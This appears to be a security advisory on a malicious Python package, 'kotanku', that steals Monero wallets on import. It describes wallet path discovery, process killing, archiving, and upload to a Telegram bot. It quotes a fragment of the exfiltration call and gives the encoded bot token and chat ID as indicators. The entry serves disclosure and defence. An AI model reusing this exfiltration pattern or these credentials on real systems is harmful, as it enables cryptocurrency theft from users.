GCVE-110-OSM-2026-10131

This package is an unambiguous Monero crypto-wallet stealer. On import, `kotanku/__init__.py` immediately decodes base64-encoded paths to `C:\Users\{}\Documents\Monero` and `/home/{}/Monero`, locates the victim's Monero wallet directory, kills Feather Wallet and monero-wallet processes (to release file locks), archives the wallet with `shutil.make_archive`, and exfiltrates the resulting ZIP to a hardcoded Telegram bot (`ODg1MTQ4OTgxNjpBQUd2NC1GRXpaamk0VFlDb3FvTloxc3ZVSmZUdVFoNmtVcw==` decodes to a real bot token) at chat_id `-5357046713` via `sendDocument`. The entire attack chain — wallet path discovery, process killing, archiving, and Telegram upload — executes at module import with no user interaction. The base64 encoding of the bot token and wallet paths is a transparent evasion attempt. ENTRY kotanku/__init__.py (module-import: 80) DESTINATION - 2 exfil (telegram-bot) (values recorded in verified_iocs) EXFIL - Python Archive Exfiltration in kotanku/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Python File Upload to Remote in kotanku/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Network Request in kotanku/__init__.py: "requests.post(" - System Information Collection in kotanku/__init__.py: "platform.system()" OBFUSCATION - Decoded Base64 Content in kotanku/__init__.py (x3) - recovered 2 paths from decoded/deobfuscated content PAYLOAD FILES kotanku/__init__.py